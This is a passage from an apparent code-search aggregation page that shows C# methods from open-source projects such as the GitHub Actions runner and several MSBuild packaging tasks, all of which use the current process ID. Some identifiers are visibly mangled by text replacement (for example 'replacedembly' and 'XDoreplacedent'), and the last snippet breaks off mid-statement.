                    String message = $"Start {jobId.ToString()} {accessToken} {serverUri.ToString()} {System.Diagnostics.Process.GetCurrentProcess().Id}";

                    Trace.Info("Writing StartMonitor to socket");
                    _monitorSocket.Send(Encoding.UTF8.GetBytes(message));
                    Trace.Info("Finished StartMonitor writing to socket");
                }
            }
            catch (SocketException e)
            {
                Trace.Error($"Failed sending StartMonitor message on socket!");
                Trace.Error(e);
            }
            catch (Exception e)
            {
                Trace.Error($"Unexpected error occurred while sending StartMonitor message on socket!");
                Trace.Error(e);
            }
        }

19 View Source File : JobNotification.cs
License : MIT License
Project Creator : actions

private async Task EndMonitor()
        {
            try
            {
                Trace.Info("Entering EndMonitor");
                if (_isMonitorConfigured)
                {
                    String message = $"End {System.Diagnostics.Process.GetCurrentProcess().Id}";
                    Trace.Info("Writing EndMonitor to socket");
                    _monitorSocket.Send(Encoding.UTF8.GetBytes(message));
                    Trace.Info("Finished EndMonitor writing to socket");

                    await Task.Delay(TimeSpan.FromSeconds(2));                    
                }
            }
            catch (SocketException e)
            {
                Trace.Error($"Failed sending end message on socket!");
                Trace.Error(e);
            }
            catch (Exception e)
            {
                Trace.Error($"Unexpected error occurred while sending StartMonitor message on socket!");
                Trace.Error(e);
            }
        }

19 View Source File : CmdLineActions.cs
License : MIT License
Project Creator : action-bi-toolkit

[ArgActionMethod, ArgShortcut("info"), ArgDescription("Collects diagnostic information about the local system and writes a JSON object to StdOut.")]
        [ArgExample(
            "pbi-tools.exe info check", 
            "Prints information about the active version of pbi-tools, all Power BI Desktop versions on the local system, any running Power BI Desktop instances, and checks the latest version of Power BI Desktop available from Microsoft Downloads.")]
        public void Info(
            [ArgDescription("When specified, checks the latest Power BI Desktop version available from download.microsoft.com.")] bool checkDownloadVersion
        )
        {
            using (_appSettings.SetScopedLogLevel(LogEventLevel.Warning))  // Suppresses Informational logs
            {
                var jsonResult = new JObject
                {
                    { "version", replacedemblyVersionInformation.replacedemblyInformationalVersion },
                    { "edition", _appSettings.Edition },
                    { "build", replacedemblyVersionInformation.replacedemblyFileVersion },
                    { "pbiBuildVersion", replacedemblyVersionInformation.replacedemblyMetadata_PBIBuildVersion },
                    { "amoVersion", typeof(Microsoft.replacedysisServices.Tabular.Server).replacedembly
                        .GetCustomAttribute<replacedemblyInformationalVersionAttribute>()?.InformationalVersion },
                    { "toolPath", Process.GetCurrentProcess().MainModule.FileName },
                    { "settings", new JObject {
                        { AppSettings.Environment.LogLevel, AppSettings.GetEnvironmentSetting(AppSettings.Environment.LogLevel) },
                        { AppSettings.Environment.PbiInstallDir, AppSettings.GetEnvironmentSetting(AppSettings.Environment.PbiInstallDir) },
                    }},
                    { "runtime", new JObject {
                        { "platform", System.Runtime.InteropServices.RuntimeInformation.OSDescription },
                        { "architecture", System.Runtime.InteropServices.RuntimeInformation.ProcessArchitecture.ToString() },
                        { "framework", System.Runtime.InteropServices.RuntimeInformation.FrameworkDescription },
                    }},
#if NETFRAMEWORK
                    { "pbiInstalls", JArray.FromObject(_dependenciesResolver.PBIInstalls) },
                    { "effectivePbiInstallDir", _dependenciesResolver.GetEffectivePowerBiInstallDir() },
                    { "pbiSessions", JArray.FromObject(PowerBIProcesses.EnumerateProcesses().ToArray()) },
#endif
                };

                if (checkDownloadVersion)
                {
                    var downloadInfo = PowerBIDownloader.TryFetchInfo(out var info) ? info : new PowerBIDownloadInfo {};
                    jsonResult.Add("pbiDownloadVersion", JObject.FromObject(downloadInfo));
                }

                using (var writer = new JsonTextWriter(Console.Out))
                {
                    writer.Formatting = Environment.UserInteractive ? Formatting.Indented : Formatting.None;
                    jsonResult.WriteTo(writer);
                }
            }
        }

19 View Source File : SelfUpdater.cs
License : MIT License
Project Creator : actions

private string GenerateUpdateScript(bool restartInteractiveRunner)
        {
            int processId = Process.GetCurrentProcess().Id;
            string updateLog = Path.Combine(HostContext.GetDirectory(WellKnownDirectory.Diag), $"SelfUpdate-{DateTime.UtcNow.ToString("yyyyMMdd-HHmmss")}.log");
            string runnerRoot = HostContext.GetDirectory(WellKnownDirectory.Root);

#if OS_WINDOWS
            string templateName = "update.cmd.template";
#else
            string templateName = "update.sh.template";
#endif

            string templatePath = Path.Combine(runnerRoot, $"bin.{_targetPackage.Version}", templateName);
            string template = File.ReadAllText(templatePath);

            template = template.Replace("_PROCESS_ID_", processId.ToString());
            template = template.Replace("_RUNNER_PROCESS_NAME_", $"Runner.Listener{IOUtil.ExeExtension}");
            template = template.Replace("_ROOT_FOLDER_", runnerRoot);
            template = template.Replace("_EXIST_RUNNER_VERSION_", BuildConstants.RunnerPackage.Version);
            template = template.Replace("_DOWNLOAD_RUNNER_VERSION_", _targetPackage.Version);
            template = template.Replace("_UPDATE_LOG_", updateLog);
            template = template.Replace("_RESTART_INTERACTIVE_RUNNER_", restartInteractiveRunner ? "1" : "0");

#if OS_WINDOWS
            string scriptName = "_update.cmd";
#else
            string scriptName = "_update.sh";
#endif

            string updateScript = Path.Combine(HostContext.GetDirectory(WellKnownDirectory.Work), scriptName);
            if (File.Exists(updateScript))
            {
                IOUtil.DeleteFile(updateScript);
            }

            File.WriteAllText(updateScript, template);
            return updateScript;
        }

19 View Source File : JobExtension.cs
License : MIT License
Project Creator : actions

public void FinalizeJob(IExecutionContext jobContext, Pipelines.AgentJobRequestMessage message, DateTime jobStartTimeUtc)
        {
            Trace.Entering();
            ArgUtil.NotNull(jobContext, nameof(jobContext));

            // create a new timeline record node for 'Finalize job'
            IExecutionContext context = jobContext.CreateChild(Guid.NewGuid(), "Complete job", $"{nameof(JobExtension)}_Final", null, null, ActionRunStage.Post);
            using (var register = jobContext.CancellationToken.Register(() => { context.CancelToken(); }))
            {
                try
                {
                    context.Start();
                    context.Debug("Starting: Complete job");

                    Trace.Info("Initialize Env context");

#if OS_WINDOWS
                    var envContext = new DictionaryContextData();
#else
                    var envContext = new CaseSensitiveDictionaryContextData();
#endif
                    context.ExpressionValues["env"] = envContext;
                    foreach (var pair in context.Global.EnvironmentVariables)
                    {
                        envContext[pair.Key] = new StringContextData(pair.Value ?? string.Empty);
                    }

                    // Populate env context for each step
                    Trace.Info("Initialize steps context");
                    context.ExpressionValues["steps"] = context.Global.StepsContext.GetScope(context.ScopeName);

                    var templateEvaluator = context.ToPipelineTemplateEvaluator();
                    // Evaluate job outputs
                    if (message.JobOutputs != null && message.JobOutputs.Type != TokenType.Null)
                    {
                        try
                        {
                            context.Output($"Evaluate and set job outputs");

                            // Populate env context for each step
                            Trace.Info("Initialize Env context for evaluating job outputs");

                            var outputs = templateEvaluator.EvaluateJobOutput(message.JobOutputs, context.ExpressionValues, context.ExpressionFunctions);
                            foreach (var output in outputs)
                            {
                                if (string.IsNullOrEmpty(output.Value))
                                {
                                    context.Debug($"Skip output '{output.Key}' since it's empty");
                                    continue;
                                }

                                if (!string.Equals(output.Value, HostContext.SecretMasker.MaskSecrets(output.Value)))
                                {
                                    context.Warning($"Skip output '{output.Key}' since it may contain secret.");
                                    continue;
                                }

                                context.Output($"Set output '{output.Key}'");
                                jobContext.JobOutputs[output.Key] = output.Value;
                            }
                        }
                        catch (Exception ex)
                        {
                            context.Result = TaskResult.Failed;
                            context.Error($"Fail to evaluate job outputs");
                            context.Error(ex);
                            jobContext.Result = TaskResultUtil.MergeTaskResults(jobContext.Result, TaskResult.Failed);
                        }
                    }

                    // Evaluate environment data
                    if (jobContext.ActionsEnvironment?.Url != null && jobContext.ActionsEnvironment?.Url.Type != TokenType.Null)
                    {
                        try
                        {
                            context.Output($"Evaluate and set environment url");

                            var environmentUrlToken = templateEvaluator.EvaluateEnvironmentUrl(jobContext.ActionsEnvironment.Url, context.ExpressionValues, context.ExpressionFunctions);
                            var environmentUrl = environmentUrlToken.replacedertString("environment.url");
                            if (!string.Equals(environmentUrl.Value, HostContext.SecretMasker.MaskSecrets(environmentUrl.Value)))
                            {
                                context.Warning($"Skip setting environment url as environment '{jobContext.ActionsEnvironment.Name}' may contain secret.");
                            }
                            else
                            {
                                context.Output($"Evaluated environment url: {environmentUrl}");
                                jobContext.ActionsEnvironment.Url = environmentUrlToken;
                            }
                        }
                        catch (Exception ex)
                        {
                            context.Result = TaskResult.Failed;
                            context.Error($"Failed to evaluate environment url");
                            context.Error(ex);
                            jobContext.Result = TaskResultUtil.MergeTaskResults(jobContext.Result, TaskResult.Failed);
                        }
                    }

                    if (context.Global.Variables.GetBoolean(Constants.Variables.Actions.RunnerDebug) ?? false)
                    {
                        Trace.Info("Support log upload starting.");
                        context.Output("Uploading runner diagnostic logs");

                        IDiagnosticLogManager diagnosticLogManager = HostContext.GetService<IDiagnosticLogManager>();

                        try
                        {
                            diagnosticLogManager.UploadDiagnosticLogs(executionContext: context, parentContext: jobContext, message: message, jobStartTimeUtc: jobStartTimeUtc);

                            Trace.Info("Support log upload complete.");
                            context.Output("Completed runner diagnostic log upload");
                        }
                        catch (Exception ex)
                        {
                            // Log the error but make sure we continue gracefully.
                            Trace.Info("Error uploading support logs.");
                            context.Output("Error uploading runner diagnostic logs");
                            Trace.Error(ex);
                        }
                    }

                    if (_processCleanup)
                    {
                        context.Output("Cleaning up orphan processes");

                        // Only check environment variable for any process that doesn't run before we invoke our process.
                        Dictionary<int, Process> currentProcesses = SnapshotProcesses();
                        foreach (var proc in currentProcesses)
                        {
                            if (proc.Key == Process.GetCurrentProcess().Id)
                            {
                                // skip for current process.
                                continue;
                            }

                            if (_existingProcesses.Contains($"{proc.Key}_{proc.Value.ProcessName}"))
                            {
                                Trace.Verbose($"Skip existing process. PID: {proc.Key} ({proc.Value.ProcessName})");
                            }
                            else
                            {
                                Trace.Info($"Inspecting process environment variables. PID: {proc.Key} ({proc.Value.ProcessName})");

                                string lookupId = null;
                                try
                                {
                                    lookupId = proc.Value.GetEnvironmentVariable(HostContext, Constants.ProcessTrackingId);
                                }
                                catch (Exception ex)
                                {
                                    Trace.Warning($"Ignore exception during read process environment variables: {ex.Message}");
                                    Trace.Verbose(ex.ToString());
                                }

                                if (string.Equals(lookupId, _processLookupId, StringComparison.OrdinalIgnoreCase))
                                {
                                    context.Output($"Terminate orphan process: pid ({proc.Key}) ({proc.Value.ProcessName})");
                                    try
                                    {
                                        proc.Value.Kill();
                                    }
                                    catch (Exception ex)
                                    {
                                        Trace.Error("Catch exception during orphan process cleanup.");
                                        Trace.Error(ex);
                                    }
                                }
                            }
                        }
                    }

                    if (_diskSpaceCheckTask != null)
                    {
                        _diskSpaceCheckToken.Cancel();
                    }
                }
                catch (Exception ex)
                {
                    // Log and ignore the error from JobExtension finalization.
                    Trace.Error($"Caught exception from JobExtension finalization: {ex}");
                    context.Output(ex.Message);
                }
                finally
                {
                    context.Debug("Finishing: Complete job");
                    context.Complete();
                }
            }
        }

19 View Source File : GenerateSourceOnlyPackageNuspecsTask.cs
License : MIT License
Project Creator : adamecr

public override bool Execute()
        {
            if (DebugTasks)
            {
                //Wait for debugger
                Log.LogMessage(
                    MessageImportance.High,
                    $"Debugging task {GetType().Name}, set the breakpoint and attach debugger to process with PID = {System.Diagnostics.Process.GetCurrentProcess().Id}");

                while (!System.Diagnostics.Debugger.IsAttached)
                {
                    Thread.Sleep(1000);
                }
            }

            if (PartNuspecFiles == null)
            {
                Log.LogMessage("No source-only packages found");
                return true; //nothing to process
            }

            //process the source files
            foreach (var sourceFile in PartNuspecFiles)
            {
                var partNuspecFileNameFull = sourceFile.GetMetadata("FullPath");

                //Get the partial (partnuspec) file
                var ns = XNamespace.Get("http://schemas.microsoft.com/packaging/2013/05/nuspec.xsd");
                var outFile = partNuspecFileNameFull + ".tmp.nuspec";
                Log.LogMessage($"Loading {partNuspecFileNameFull}");
                var partNuspecFileContent = File.ReadAllText(partNuspecFileNameFull);
                partNuspecFileContent = partNuspecFileContent.Replace("%%CURRENT_VERSION%%", PackageVersionFull);
                var outXDoc = XDoreplacedent.Parse(partNuspecFileContent);
                var packageXElement = GetOrCreateElement(outXDoc, "package", ns);
                var metadataXElement = GetOrCreateElement(packageXElement, "metadata", ns);

                //Check package ID
                var packageId = metadataXElement.Element(ns + "id")?.Value;
                if (packageId == null) throw new Exception($"Can't find the package ID for {partNuspecFileNameFull}");

                //Process version - global version from solution of base version from partial file
                var versionOriginal = GetOrCreateElement(metadataXElement, "version", ns)?.Value;
                var version = PackageVersionFull;
                if (!string.IsNullOrEmpty(versionOriginal))
                {
                    //base version set in NuProp
                    //get ext version from PackageVersionFull
                    //0.1.0-dev.441.181206212308+53.master.37f08fc-dirty
                    //0.1.0+442.181206212418.master.37f08fc-dirty
                    var idx = 0;
                    while (char.IsDigit(PackageVersionFull[idx]) || PackageVersionFull[idx] == '.')
                    {
                        idx++;
                    }

                    version = versionOriginal + PackageVersionFull.Substring(idx);
                }

                //Enrich the NuSpec
                SetOrCreateElement(metadataXElement, "version", ns, version);
                SetOrCreateElement(metadataXElement, "authors", ns, Authors);
                SetOrCreateElement(metadataXElement, "replacedle", ns, packageId);
                SetOrCreateElement(metadataXElement, "owners", ns, Authors);
                SetOrCreateElement(metadataXElement, "description", ns, $"Source only package {packageId}", false); //don't override if exists
                SetOrCreateElement(metadataXElement, "requireLicenseAcceptance", ns, PackageRequireLicenseAcceptance);
                if (!string.IsNullOrEmpty(PackageLicense))
                {
                    SetOrCreateElement(metadataXElement, "license", ns, PackageLicense).
                        Add(new XAttribute("type","expression"));
                }
                else
                {
                    SetOrCreateElement(metadataXElement, "licenseUrl", ns, PackageLicenseUrl);
                }
                SetOrCreateElement(metadataXElement, "projectUrl", ns, PackageProjectUrl);
                SetOrCreateElement(metadataXElement, "iconUrl", ns, PackageIconUrl);
                SetOrCreateElement(metadataXElement, "copyright", ns, Copyright);
                SetOrCreateElement(metadataXElement, "developmentDependency", ns, "true");
                GetEmptyOrCreateElement(metadataXElement, "repository", ns).
                                    Add(new XAttribute("url", RepositoryUrl),
                                        new XAttribute("type", "git"),
                                        new XAttribute("branch", GitBranch),
                                        new XAttribute("commit", GitCommit));

                //Save the temporary NuSpec file
                var outXDocStr = outXDoc.ToString();
                File.WriteAllText(outFile, outXDocStr);
                Log.LogMessage($"Generated source only nuspec file {outFile}");
            }

            return true;
        }

19 View Source File : ProcessNuPropsTask.cs
License : MIT License
Project Creator : adamecr

public override bool Execute()
        {
            if (DebugTasks)
            {
                //Wait for debugger
                Log.LogMessage(
                    MessageImportance.High,
                    $"Debugging task {GetType().Name}, set the breakpoint and attach debugger to process with PID = {System.Diagnostics.Process.GetCurrentProcess().Id}");

                while (!System.Diagnostics.Debugger.IsAttached)
                {
                    Thread.Sleep(1000);
                }
            }

            if (SourceFiles == null)
            {
                Log.LogMessage("No source code available");
                return true; //nothing to process
            }

            //process the source files
            var anyPackageAvailable = false;
            foreach (var sourceFile in SourceFiles)
            {
                var fileNameFull = sourceFile.GetMetadata("FullPath");
                var fileName = new FileInfo(fileNameFull).Name;

                //Get the NuProps from XML Doreplacedentation Comments <NuProp.xxxx>
                var sourceContent = File.ReadAllText(fileNameFull);
                var sourceLines = sourceContent.Split(new[] { '\r', '\n' }, StringSplitOptions.RemoveEmptyEntries);
                //Extract all comments
                var stringBuilder = new StringBuilder();
                foreach (var contentLine in sourceLines)
                {
                    var sourceLine = contentLine.Trim();
                    if (sourceLine.StartsWith("///"))
                    {
                        stringBuilder.AppendLine(sourceLine.Substring(3));
                    }
                }

                //Get all comments in single XML - encapsulate the whole bunch with dummy tag "doc" allowing the XDoreplacedent to parse it
                var xDoreplacedent = XDoreplacedent.Parse("<doc>" + stringBuilder + "</doc>");
                //Get NuProp comments
                var nuPropElements = xDoreplacedent.Descendants()
                    .Where(n => n is XElement e && e.Name.LocalName.StartsWith("NuProp.")).ToList();

                if (nuPropElements.Count <= 0) continue; //no NuProps - continue with the next file

                //Has some NuProp -> process
                //<NuProp.Id></NuProp.Id> - package ID (mandatory)
                //<NuProp.Version></NuProp.Version>   - package version base (major.minor.patch) - optional          
                //<NuProp.Description></NuProp.Description> - package description (optional)
                //<NuProp.Tags></NuProp.Tags> - package tags (optional)
                //<NuProp.Using id = "" version=""/> - package imports (optional). Version is optional
                //<NuProp.Needs id="" /> - "external" imports needed (optional) - not included in package, just info when consuming!!!

                var nuPropId = nuPropElements.FirstOrDefault(e => e.Name.LocalName == "NuProp.Id")?.Value.Trim();
                var nuPropVersion = nuPropElements.FirstOrDefault(e => e.Name.LocalName == "NuProp.Version")?.Value.Trim();
                var nuPropDescription = nuPropElements.FirstOrDefault(e => e.Name.LocalName == "NuProp.Description")?.Value.Trim();
                var nuPropTags = nuPropElements.FirstOrDefault(e => e.Name.LocalName == "NuProp.Tags")?.Value.Trim();

                var nuPropsIncludes = IncludesEnum.None;
                var nuPropIncludesStr = nuPropElements
                    .FirstOrDefault(e => e.Name.LocalName == "NuProp.Includes" && e.Attribute("type")?.Value != null)?
                    .Attribute("type")?.Value;
                // ReSharper disable once SwitchStatementMissingSomeCases
                switch (nuPropIncludesStr)
                {
                    case "Folder": nuPropsIncludes = IncludesEnum.Folder; break;
                    case "FolderRecursive": nuPropsIncludes = IncludesEnum.FolderRecursive; break;
                }

                var nuPropUsings = nuPropElements.Where(e => e.Name.LocalName == "NuProp.Using" && e.Attribute("id")?.Value != null).ToList();

                if (string.IsNullOrEmpty(nuPropId))
                {
                    Log.LogWarning($"NuProp.Id not found for {fileName}");
                    continue;
                }

                //Build the partial NuSpec file
                anyPackageAvailable = true;
                var ns = XNamespace.Get("http://schemas.microsoft.com/packaging/2013/05/nuspec.xsd");
                var outFile = fileNameFull + ".partnuspec";
                var outXDoc = File.Exists(outFile) ? XDoreplacedent.Load(outFile) : new XDoreplacedent();
                var outXDocStrOriginal = outXDoc.ToString();
                var packageXElement = GetOrCreateElement(outXDoc, "package", ns);
                var metadataXElement = GetOrCreateElement(packageXElement, "metadata", ns);

                SetOrCreateElement(metadataXElement, "id", ns, nuPropId);
                SetOrCreateElement(metadataXElement, "version", ns, nuPropVersion, false); //don't create if the nuPropVersion is empty/not set
                SetOrCreateElement(metadataXElement, "description", ns, nuPropDescription, false); //don't create if the nuPropDescription is empty/not set
                SetOrCreateElement(metadataXElement, "tags", ns, nuPropTags, false); //don't create if the nuPropTags is empty/not set

                GetEmptyOrCreateElement(metadataXElement, "contentFiles", ns)
                    .Add(new XElement(ns + "files", //<files include="cs/**/*.*" buildAction="Compile" />
                        new XAttribute("include", "cs/**/*.*"),
                        new XAttribute("buildAction", "Compile")));


                //Dependencies
                var dependenciesXElement = GetEmptyOrCreateElement(metadataXElement, "dependencies", ns);
                if (nuPropUsings.Count > 0)
                {
                    //have some dependencies
                    foreach (var nuPropUsing in nuPropUsings)
                    {
                        // ReSharper disable once PossibleNullReferenceException - should not be null based on Where clause for nuPropUsings
                        var depId = nuPropUsing.Attribute("id").Value;
                        var depVersion = nuPropUsing.Attribute("version")?.Value;
                        var dependencyXElement = new XElement(ns + "dependency", new XAttribute("id", depId), new XAttribute("include", "all"));
                        if (string.IsNullOrEmpty(depVersion)) depVersion = "%%CURRENT_VERSION%%";
                        dependencyXElement.Add(new XAttribute("version", depVersion));
                        dependenciesXElement.Add(dependencyXElement);
                    }
                }
                else
                {
                    //Clean dependencies
                    dependenciesXElement.Remove();
                }

                //<files>
                //    < file src = "src.cs" target = "content\App_Packages\pkg_id\src.cs" />
                //    < file src = "src.cs" target = "contentFiles\cs\any\App_Packages\pkg_id\src.cs" />
                //</ files >
                var files = GetEmptyOrCreateElement(packageXElement, "files", ns);
                files.Add(
                    new XElement(ns + "file", new XAttribute("src", fileName),
                        new XAttribute("target", $"content\\App_Packages\\{nuPropId}\\{fileName}")),
                    new XElement(ns + "file", new XAttribute("src", fileName),
                        new XAttribute("target", $"contentFiles\\cs\\any\\App_Packages\\{nuPropId}\\{fileName}")));

                if (nuPropsIncludes != IncludesEnum.None)
                {
                    var mainItemDir = sourceFile.GetMetadata("RootDir") + sourceFile.GetMetadata("Directory");
                    Log.LogMessage($"MainItemDir:{mainItemDir}");
                    IEnumerable<ITaskItem> itemsToAdd;
                    switch (nuPropsIncludes)
                    {
                        case IncludesEnum.Folder:
                            itemsToAdd = SourceFiles.Where(itm =>
                                itm.GetMetadata("RootDir") + itm.GetMetadata("Directory") == mainItemDir &&
                                itm.GetMetadata("FullPath") != fileNameFull);
                            break;
                        case IncludesEnum.FolderRecursive:
                            itemsToAdd = SourceFiles.Where(itm =>
                                (itm.GetMetadata("RootDir") + itm.GetMetadata("Directory")).StartsWith(mainItemDir) &&
                                itm.GetMetadata("FullPath") != fileNameFull);
                            break;
                        default:
                            throw new ArgumentOutOfRangeException();
                    }

                    foreach (var item in itemsToAdd)
                    {
                        var itemFileFull = item.GetMetadata("FullPath");
                        Log.LogMessage($"itemFileFull:{itemFileFull}");
                        var itemFileRel = itemFileFull.Substring(mainItemDir.Length);
                        files.Add(
                            new XElement(ns + "file", new XAttribute("src", itemFileRel),
                                new XAttribute("target", $"content\\App_Packages\\{nuPropId}\\{itemFileRel}")),
                            new XElement(ns + "file", new XAttribute("src", itemFileRel),
                                new XAttribute("target", $"contentFiles\\cs\\any\\App_Packages\\{nuPropId}\\{itemFileRel}")));
                    }
                }

                var outXDocStrNew = outXDoc.ToString();
                if (outXDocStrNew == outXDocStrOriginal) continue;

                //change - > save
                File.WriteAllText(outFile, outXDocStrNew);
                Log.LogMessage($"Generated/updated {outFile}");
            }

            if (!anyPackageAvailable)
            {
                Log.LogMessage("No source-only packages found");
            }
            return true;
        }

19 View Source File : SetVersionInfoTask.cs
License : MIT License
Project Creator : adamecr

public override bool Execute()
        {
            if (DebugTasks)
            {
                //Wait for debugger
                Log.LogMessage(
                    MessageImportance.High,
                    $"Debugging task {GetType().Name}, set the breakpoint and attach debugger to process with PID = {System.Diagnostics.Process.GetCurrentProcess().Id}");

                while (!System.Diagnostics.Debugger.IsAttached)
                {
                    Thread.Sleep(1000);
                }
            }

            //increase the build number
            BuildNumber = BuildNumber + 1;

            //process the package version
            var ver = $"{Major}.{Minor}.{Patch}";

            var dt = System.DateTime.Now.ToString("yyMMddHHmmss");

            if (Configuration.ToLower() != "release")
            {
                PackageVersionShort = $"{ver}-dev.{BuildNumber}.{dt}";
                PackageVersionFull = $"{PackageVersionShort}+{GitCommits}.{GitBranch}.{GitCommit}";
            }
            else
            {
                PackageVersionShort = ver;
                PackageVersionFull = $"{PackageVersionShort}+{BuildNumber}.{dt}.{GitBranch}.{GitCommit}";
            }

            //update version file
            var doreplacedent = XDoreplacedent.Load(VersionFile);
            var projectNode = GetOrCreateElement(doreplacedent, "Project");

            SetProjectPropertyNode(projectNode, "RadBuild", BuildNumber.ToString());
            SetProjectPropertyNode(projectNode, "PackageVersionShort", PackageVersionShort);
            SetProjectPropertyNode(projectNode, "PackageVersionFull", PackageVersionFull);
            SetProjectPropertyNode(projectNode, "GitCommit", GitCommit);
            SetProjectPropertyNode(projectNode, "GitBranch", GitBranch);

            File.WriteAllText(VersionFile, doreplacedent.ToString());

            Log.LogMessage([email protected]"Updated version file: version {Major}.{Minor}.{Patch}, package: {PackageVersionFull}, build #{BuildNumber} to {VersionFile}");

            return true;
        }

19 View Source File : DumpPropertiesTask.cs
License : MIT License
Project Creator : adamecr

public override bool Execute()
        {
            if (DebugTasks)
            {
                //Wait for debugger
                Log.LogMessage(
                    MessageImportance.High,
                    $"Debugging task {GetType().Name}, set the breakpoint and attach debugger to process with PID = {System.Diagnostics.Process.GetCurrentProcess().Id}");

                while (!System.Diagnostics.Debugger.IsAttached)
                {
                    Thread.Sleep(1000);
                }
            }

            //Get to the ProjectInstance
            var requestEntryField = BuildEngine.GetType().GetField("_requestEntry", BindingFlags.NonPublic | BindingFlags.GetField | BindingFlags.Instance);
            var requestEntry = requestEntryField?.GetValue(BuildEngine);

            var requestConfigurationProperty = requestEntry?.GetType().GetProperty("RequestConfiguration", BindingFlags.Public | BindingFlags.GetProperty | BindingFlags.Instance);
            var requestConfiguration = requestConfigurationProperty?.GetValue(requestEntry);

            var projectProperty = requestConfiguration?.GetType().GetProperty("Project", BindingFlags.Public | BindingFlags.GetProperty | BindingFlags.Instance);
            var projectRaw = projectProperty?.GetValue(requestConfiguration);
            var project = projectRaw as ProjectInstance;

            //Dump global properties
            var globalProperties = project?.GlobalProperties;
            if (globalProperties != null)
            {
                var globalPropertiesList = globalProperties.ToList();
                globalPropertiesList.Sort((a, b) => string.CompareOrdinal(a.Key, b.Key));
                foreach (var globalProperty in globalPropertiesList)
                {
                    Log.LogMessage(MessageImportance.High, $"Global Property: {globalProperty.Key} = {globalProperty.Value}");
                }
            }

            //Dump project properties
            var projectProperties = project?.Properties;
            // ReSharper disable once InvertIf
            if (projectProperties != null)
            {
                var propertyList = projectProperties.ToList();
                propertyList.Sort((a, b) => string.CompareOrdinal(a.Name, b.Name));
                foreach (var propertyInstance in propertyList)
                {
                    Log.LogMessage(MessageImportance.High, $"Project Property: {propertyInstance.Name} = {propertyInstance.EvaluatedValue}");
                }
            }

            return true;
        }

19 View Source File : GenerateNuSpecFileTask.cs
License : MIT License
Project Creator : adamecr

public override bool Execute()
        {
            if (DebugTasks)
            {
                //Wait for debugger
                Log.LogMessage(
                    MessageImportance.High,
                    $"Debugging task {GetType().Name}, set the breakpoint and attach debugger to process with PID = {System.Diagnostics.Process.GetCurrentProcess().Id}");

                while (!System.Diagnostics.Debugger.IsAttached)
                {
                    Thread.Sleep(1000);
                }
            }

            var replacedle = !string.IsNullOrEmpty(replacedle) ? replacedle : PackageId;

            var sb = new System.Text.StringBuilder(); //TODO refactor to LINQ XML
            sb.AppendLine("<?xml version=\"1.0\" encoding=\"utf-8\"?>");
            sb.AppendLine($"<package xmlns=\"http://schemas.microsoft.com/packaging/2013/05/nuspec.xsd\">");
            sb.AppendLine($" <metadata>");
            sb.AppendLine($"  <id>{PackageId}</id>");
            sb.AppendLine($"  <version>{PackageVersionFull}</version>");
            sb.AppendLine($"  <authors>{Authors}</authors>");
            sb.AppendLine($"  <replacedle>{replacedle}</replacedle>");
            sb.AppendLine($"  <owners>{Authors}</owners>");
            sb.AppendLine($"  <requireLicenseAcceptance>{PackageRequireLicenseAcceptance}</requireLicenseAcceptance>");
            // ReSharper disable once ConvertIfStatementToConditionalTernaryExpression
            if (!string.IsNullOrEmpty(PackageLicense))
            {
                sb.AppendLine($"  <license type=\"expression\">{PackageLicense}</license>");
            }
            else
            {
                sb.AppendLine($"  <licenseUrl>{PackageLicenseUrl}</licenseUrl>");
            }
            sb.AppendLine($"  <projectUrl>{PackageProjectUrl}</projectUrl>");
            sb.AppendLine($"  <iconUrl>{PackageIconUrl}</iconUrl>");
            sb.AppendLine($"  <description>{Description}</description>");
            sb.AppendLine($"  <releaseNotes>{PackageReleaseNotes}</releaseNotes>");
            sb.AppendLine($"  <copyright>{Copyright}</copyright>");
            sb.AppendLine($"  <tags>{PackageTags}</tags>");
            sb.AppendLine(
                $"  <repository url=\"{RepositoryUrl}\" type=\"git\" branch=\"{GitBranch}\" commit=\"{GitCommit}\" />");
            sb.AppendLine($"  <dependencies>");
            sb.AppendLine($"   <group targetFramework=\"{TargetFramework}\">");

            if (PackageReferences != null)
            {
                foreach (var r in PackageReferences)
                {
                    var item = r.ItemSpec;
                    if (item != "NETStandard.Library")
                        sb.AppendLine(
                            $"    <dependency id=\"{r.ItemSpec}\" version=\"{r.GetMetadata("Version")}\" exclude=\"Build,replacedyzers\" />");
                }
            }

            var resolvedProjectReferences =
                new List<string>(); //project references that has been resolved as NuGet packages
            if (ProjectReferences != null)
            {
                foreach (var src in ProjectReferences)
                {
                    var refPackageDependencyFile = Path.Combine(src.GetMetadata("RelativeDir"), IntermediateOutputPath,
                        Configuration, "package_dependency.txt");
                    if (!File.Exists(refPackageDependencyFile)) continue;

                    var refPackageDependency = File.ReadAllText(refPackageDependencyFile);

                    resolvedProjectReferences.Add(refPackageDependency);
                    sb.AppendLine(refPackageDependency);
                }
            }

            sb.AppendLine($"   </group>");
            sb.AppendLine($"  </dependencies>");
            sb.AppendLine($" </metadata>");

            sb.AppendLine($"  <files>");
            var dllFile = Path.Combine(ProjectDirectory, OutputPath, $"{replacedemblyName}.dll");
            sb.AppendLine([email protected]"    <file src=""{dllFile}"" target=""lib\{TargetFramework}\{replacedemblyName}.dll"" />");

            var pdbFile = Path.Combine(ProjectDirectory, OutputPath, $"{replacedemblyName}.pdb");
            if (File.Exists(pdbFile))
            {
                sb.AppendLine([email protected]"    <file src=""{pdbFile}"" target=""lib\{TargetFramework}\{replacedemblyName}.pdb"" />");
            }

            var xmlDocFile = Path.Combine(ProjectDirectory, OutputPath, $"{replacedemblyName}.xml");
            if (File.Exists(xmlDocFile))
            {
                sb.AppendLine(
                    [email protected]"    <file src=""{xmlDocFile}"" target=""lib\{TargetFramework}\{replacedemblyName}.xml"" />");
            }

            if (SourceFiles != null && Configuration.ToLower() != "release")
            {
                sb.AppendLine("");

                foreach (var src in SourceFiles)
                {
                    var srcFileOriginal = src.GetMetadata("OriginalItemSpec");
                    var srcFileRel = srcFileOriginal.Replace([email protected]"{ProjectDirectory}\", "");
                    if (Path.IsPathRooted(srcFileRel)) continue; //not a project file (probably source-only package) - project files have the relative path in srcFileRel, non project files have full path in srcFileRel 

                    var targetFile = Path.Combine("src", ProjectName, srcFileRel);
                    sb.AppendLine([email protected]"    <file src=""{src}"" target=""{targetFile}"" />");
                }
            }

            //include project references that has NOT been resolved as NuGet packages
            if (ProjectReferences != null && ReferenceCopyLocalPaths != null)
            {
                foreach (var rf in ReferenceCopyLocalPaths)
                {
                    if (rf.GetMetadata("ReferenceSourceTarget") == "ProjectReference")
                    {
                        var fileName = rf.GetMetadata("FileName");
                        if (!resolvedProjectReferences.Exists(s => s.Contains($"id=\"{fileName}\"")))
                        {
                            sb.AppendLine(
